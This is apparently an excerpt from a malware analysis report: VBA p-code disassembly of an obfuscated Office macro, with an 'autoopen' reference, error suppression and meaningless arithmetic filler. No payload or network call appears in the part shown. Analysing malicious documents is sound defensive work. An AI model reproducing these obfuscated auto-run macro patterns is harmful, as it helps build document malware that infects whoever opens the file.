' 	Ld jkiCJh 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld bFzwhB 
' 	Div 
' 	Ld SIQwVw 
' 	Div 
' 	Ld XGQMR18H 
' 	Ld GI_1vQu 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x0009 
' 	Div 
' 	Ld i0o6wFO 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
' 	Add 
' 	St li35wPq7 
' Line #77:
' Line #78:
' 	StartForVariable 
' 	Next 
' Line #79:
' 	Ld dYzzvskC 
' 	Ld AsJpb6 
' 	Eq 
' 	LoopUntil 
' Line #80:
' 	EndFunc 
' Line #81:
' Macros/VBA/nRpAoku - 6635 bytes
' Line #0:
' 	FuncDefn (Sub nRpAoku())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Do 
' Line #3:
' 	Ld autoopen 
' 	Ld QNEcNjZ9 
' 	Eq 
' 	IfBlock 
' Line #4:
' 	LineCont 0x000C 03 00 09 00 12 00 09 00 1D 00 09 00
' 	Ld fE4rpO 
' 	LitDI2 0x01C2 
' 	LitDI2 0x023C 
' 	LitDI2 0x0359 
' 	ArgsLd Round 0x0001 
' 	Div 
' 	ArgsLd Oct 0x0001 
' 	Add 
' 	ArgsLd Hex 0x0001 
' 	Sub 
' 	LitDI2 0x00D4 
' 	Add 
' 	Ld EvOFbMHS 
' 	FnFix 
' 	Sub 
' 	LitDI2 0x0304 
' 	Sub 
' 	Ld OpQHt5 
' 	Sub 
' 	Ld UYik7k5 
' 	Ld K_ni2Yfi 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Sub 
' 	St I0TN53 
' Line #5:
' 	LitDI2 0x0274 
' 	ArgsLd Tan 0x0001 
' 	St dw93A4zl 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	LineCont 0x0008 03 00 09 00 0F 00 09 00
' 	Ld iMNT6Ttj 
' 	Ld noEK9n 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Ld YsG0QcY 
' 	Div 
' 	Ld XUBtR0 
' 	Div 
' 	Ld Tlp8sJ 
' 	Ld T_3RzN 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI2 0x02AB 
' 	Div 
' 	Ld Hvwsr8v 
' 	ArgsLd Sin 0x0001 
' 	Mul 
' 	Paren 
…

Open this report in the interactive analyzer, or submit your own file for analysis.